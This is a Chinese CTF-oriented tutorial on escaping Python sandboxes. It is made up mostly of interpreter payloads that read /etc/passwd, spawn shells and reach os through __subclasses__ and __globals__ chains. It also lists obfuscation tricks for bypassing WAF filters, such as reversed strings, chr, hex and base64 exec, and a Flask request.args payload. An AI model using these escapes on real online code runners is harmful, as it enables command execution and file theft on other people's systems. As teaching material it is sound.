Python沙箱逃逸

渗透技巧 8个月前 admin
214 0 0
本文是i春秋论坛签约作家「YDJA」分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
Python沙箱逃逸

YDJA


网络空间安全专业在校学生,擅长Web渗透方向,曾获得“蓝帽杯”全国三等奖、CISCN华南分区二等奖、浙江大学漏洞报告证书等,并多次参加国家级、市级的实网攻防演练,实战经验丰富。

该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享

Python沙箱逃逸

(识别二维码,快速完成认证)

Python沙箱逃逸

许多网站给用户们提供了在线的Python代码执行环境,而为了防止恶意代码的执行,网站开发人员通常会使用沙箱(一种安全机制)来限制用户的代码。然而人们所认为“安全”的沙箱,却依旧存在被攻击者突破的风险,我们称之为“沙箱逃逸”。本文总结了笔者遇到过的一些逃逸方法及对应waf的绕过方式,希望能给师傅们提供一些思路。

Python沙箱逃逸

漏洞原理

沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种waf的过滤和限制,最终造成文件读写,命令执行等恶意操作。

利用方式

1.文件读写

file

>>> file("/etc/passwd").read()    #python2
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'
>>> file("test1","w").write("Hello World!")    #python2
>>> file("test1").read()
'Hello World!'

open

>>> open("/etc/passwd").read()
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'
>>> open("test2","w").write("Hello World!")
>>> open("test2").read()
'Hello World!'

2.基础命令执行

system

>>> import os
>>> os.system('whoami')
ydj

popen

>>> import os
>>> os.popen("whoami").read()
'ydjn'

eval

>>> eval('__import__("os").system("whoami")')
ydj

exec

>>> exec('__import__("os").system("whoami")')
ydj

sys

>>> import sys
>>> sys.modules["os"].system("whoami")
ydj

pty

>>> import pty
>>> pty.spawn("whoami")
ydj
>>> pty.spawn("/bin/bash")    #直接获取一个bash
┌──(ydj㉿LAPTOP-T0I7OJP0)-[~]
└─$ exit
exit
>>>

execfile

>>> execfile("/usr/lib/python2.7/os.py")    #python2
>>> system("whoami")
ydj

commands

>>> import commands    #python2
>>> commands.getstatusoutput("whoami")
(0, 'ydj')

>>> commands.getoutput("whoami")
'ydj'

importlib(imp)

>>> import importlib
>>> importlib.import_module("os").system("whoami")
ydj

>>> importlib.__import__("os").system("whoami")
ydj

timeit

>>> import timeit
>>> timeit.timeit("__import__('os').system('whoami')",number=1)
ydj

platform

>>> import platform
>>> platform.os.system("whoami")
ydj

pdb

>>> import pdb
>>> pdb.os.system("whoami")
ydj

subprocess

>>> import subprocess
>>> subprocess.call("whoami", shell=True)
ydj

>>> subprocess.Popen("whoami", shell=True)
<Popen: returncode: None args: 'whoami'>
>>> ydj

自建模块导入

#hack.py
import os
os.system("whoami")
>>> import hack
ydj

3.通过继承关系逃逸(SSTI常考)

3.1 多重继承特性

与Java等语言不同,Python支持多重继承,这意味着一个子类可以拥有多个父类,这个特性是造成逃逸的关键,下面先来引入几个知识点(可以把他们理解为一个可以用 . 号调用的方法)

class:返回对象所属的类

>>> ''.__class__
<class 'str'>

mro:返回类的继承顺序

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

base:以字符串返回一个类所直接继承的类

>>> ''.__class__.__base__
<class 'object'>

bases:以元组的形式返回一个类所直接继承的类

>>> ''.__class__.__bases__
(<class 'object'>,)

subclasses( ):获取类的所有子类

>>> ''.__class__.__subclasses__()
[<enum 'StrEnum'>]

>>> ''.__class__.__base__.__subclasses__()    #object类的所有子类
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, ......]

在Python2中可以直接利用file读写文件

>>> [].__class__.__bases__[0].__subclasses__()[40]
<type 'file'>

>>> [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'

init:所有自带类都包含init方法,便于利用它当跳板来调用globals。

globals:配合init获取函数所处空间下可使用的module、方法以及所有变量。

>>> ''.__class__.__base__.__subclasses__()[192].__init__.__globals__
{'__name__': 'contextlib', '__doc__': 'Utilities for with-statement contexts.  See PEP 343.', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5bbb592a10>, '__spec__': ModuleSpec(name='contextlib', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f5bbb592a10>, ......}

>>> ''.__class__.__base__.__subclasses__()[192].__init__.__globals__["os"]
<module 'os' (frozen)>

dict:用来存储对象属性的一个字典,其键为属性名,值为属性的值。

>>> ''.__class__.__dict__
mappingproxy({'__new__': <built-in method __new__ of type object at 0x958980>, '__repr__': <slot wrapper '__repr__' of 'str' objects>, '__hash__': <slot wrapper '__hash__' of 'str' objects>, '__str__': <slot wrapper '__str__' of 'str' objects>, '__getattribute__': <slot wrapper '__getattribute__' of 'str' objects>, '__lt__': <slot wrapper '__lt__' of 'str' objects>, '__le__': <slot wrapper '__le__' of 'str' objects>, ......})

>>> ''.__class__.__dict__['__str__']
<slot wrapper '__str__' of 'str' objects>

builtin、builtins、builtins:Python内建模块,内含不需要import导入就能使用的函数。在2.x中,为builtin,在3.x中,则为builtins,而builtins为两者都有的模块,前两者需要import,后者不用。

>>> import __builtin__    #python2
>>> dir(__builtin__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', ......]
>>> import builtins    #python3
>>> dir(builtins)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', ......]
>>> dir(__builtins__)    #both
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', ......]

可以通过内建模块配合dict进行文件读写和命令执行。

>>> __builtins__.__dict__["open"]("/etc/passwd").read()
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'

>>> __builtins__.__dict__['__import__']('os').system('whoami')
ydj

3.2 整体逃逸思路

结合以上知识点,我们已经可以进行一个基础的逃逸攻击(此处演示用的python3.11)

先通过class获取一个类,什么类型都可以,因为我们目的是为了获取object基类,而python中所有类都继承于object基类。

>>> ''.__class__
<class 'str'>

>>> [].__class__
<class 'list'>

然后通过bases或者mro来获取到object基类。

>>> ''.__class__.__base__
<class 'object'>

>>> ''.__class__.__mro__[1]
<class 'object'>

然后获取object的子类

>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, ......]

然后利用init.globals爆破有可以利用的类(比如有file函数,os模块等可以文件读写和命令执行的类)

做题的时候用burp爆破比较方便,由于我这里是本地演示的,没有题目环境,就写个脚本爆吧。

#burp.py
for i in range(0,300):
    try:
        j=eval(f"[].__class__.__base__.__subclasses__()[{i}].__init__.__globals__")
        if 'os' in j:
            print(i)
    except Exception:    #运行过程会产生报错,pass就好了
        pass

Python沙箱逃逸

最终payload

>>> [].__class__.__base__.__subclasses__()[144].__init__.__globals__["os"].system('whoami')
ydj

waf绕过姿势

这里我不针对单一的防护进行绕过,因为在CTF中的waf往往都是要结合多种姿势才能绕过,所以我会尽可能多的总结出各种姿势,到时候遇到waf就可以从这里面灵活的结合各种方法进行绕过。

1.双写

这个大家应该都知道吧

2.逆转

>>> __import__('so'[::-1]).system('whoami')
ydj

3.拼接

>>> __import__('o'+'s').system('whoami')
ydj

>>> a='o'
>>> b='s'
>>> __import__(a+b).system('whoami')
ydj

如果有实际环境可以利用request.args(flask中一个存储着请求参数以及其值的字典)绕过引号。

?payload=[].__class__.__base__.__subclasses__()[144].__init__.__globals__[request.args.a].system(request.args.b)&a=os&b=whoami

4.逆转结合eval、exec

>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
ydj

要是过滤了eval、exec,可以这样利用python3解释的特性(python3 支持了Unicode变量名且解释器在做代码解析的时候,会对变量名进行规范化)。

>>> ᵉval('__import__("os").system("whoami")')    #python3
ydj

5.编码

#decode利用
>>> __import__("bf".decode('rot_13')).system("jubnzv".decode('rot_13'))    #python2
ydj

#byte
>>> print(bytes(range(32,127)))
b' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
>>> __import__("os").system(bytes([119, 104, 111, 97, 109, 105]))
ydj

#chr
>>> __import__(chr(111)+chr(115)).system(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))
ydj

#oct
>>> exec("137137151155160157162164137137504715716347515616317
116316414515550471671501571411551514751"
)
ydj

#hex
>>> eval("x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex
73x79x73x74x65x6dx28x27x77x68x6fx61x6dx69x27x29"
)
ydj

#base64
>>> exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3dob2FtaScp'))
ydj

##only python2
>>> exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3dob2FtaScp'.decode("base64"))
ydj

6.字符截取

先找一个返回结果包含我们所需字母的,这里我们选择().class.base.subclasses()

().__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, ......]

然后利用str()+[]截取字符,如下:

>>> str(().__class__.__base__.__subclasses__())[38]
'o'
>>> str(().__class__.__base__.__subclasses__())[5]
's'

有时候要找的字母太靠后,还要一个一个数,不够优雅,这时候我们可以利用ord()+chr()来字符自增,比如获取了s的位置,就可以利用ascii码来计算其他的。

>>> chr(ord(str(().__class__.__base__.__subclasses__())[5])+6)
'y'

最终payload

>>> __import__(str(().__class__.__base__.__subclasses__())[38]+str(().__class__.__base__.__subclasses__())[5]).system(chr(ord(str(().__class__.__base__.__subclasses__())[5])+4)+chr(ord(str(().__class__.__base__.__subclasses__())[38])-7)+str(().__class__.__base__.__subclasses__())[38]+chr(ord(str(().__class__.__base__.__subclasses__())[38])-14)+chr(ord(str(().__class__.__base__.__subclasses__())[38])-2)+chr(ord(str(().__class__.__base__.__subclasses__())[38])-6))
ydj

7.dict取键

>>> list(dict(whoami=1))[0]
'whoami'
>>> str(dict(whoami=1))[2:8]
'whoami'

>>> __import__("os").system(str(dict(whoami=1))[2:8])
ydj

8.getattr

用于返回对象属性值

>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
ydj

>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')    #结合types库
ydj

9.pop+getitem

pop:用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

getitem:返回所给键对应的值。当对象是序列时,键是整数。当对象是映射时(字典),键是任意值。

两者结合可用于[]给过滤的情况:

>>> ''.__class__.__mro__.__getitem__(2)
<type 'object'>

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()    #python2
'ydjn'

10.f-string特性

python>=3.6

>>> f'{__import__("os").system("whoami")}'
ydj

11.call

一般情况下类方法的调用是通过先创建类对象再通过a.b()的方式来调用,但是如果类中只有一个方法或者一个方法的使用频率非常高,那么就可以为这个方法命名为call来简化调用。

>>> "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '__import__("os").system("whoami")')
ydj

12.数字获取

>>> ord('b')-ord('a')    #以此类推
1

>>> len([])   
0
>>> len([[],[]])    #以此类推
2

还有很多思路,就不一一列举

总结

沙箱逃逸是一个有很多细节的考点,各种函数的结合利用,各类Python不同的版本的特性,除了我总结的这些外,还有更多高级玩法,师傅们可以多去论坛看看其他大佬们的文章(看大佬的文章总是能有所收获)。

Python沙箱逃逸
Python沙箱逃逸

二维码7天内(9月5日前)有效

在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!

如遇到群满或者时间失效,无法进群者可联系管理员,拉您进群~

Python沙箱逃逸

进群遇到问题,请联系管理员)

Python沙箱逃逸

戳这里,进入论坛获取更多知识

原文始发于微信公众号(i春秋):Python沙箱逃逸

版权声明:admin 发表于 2023年8月29日 下午6:02。
转载请注明:Python沙箱逃逸 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...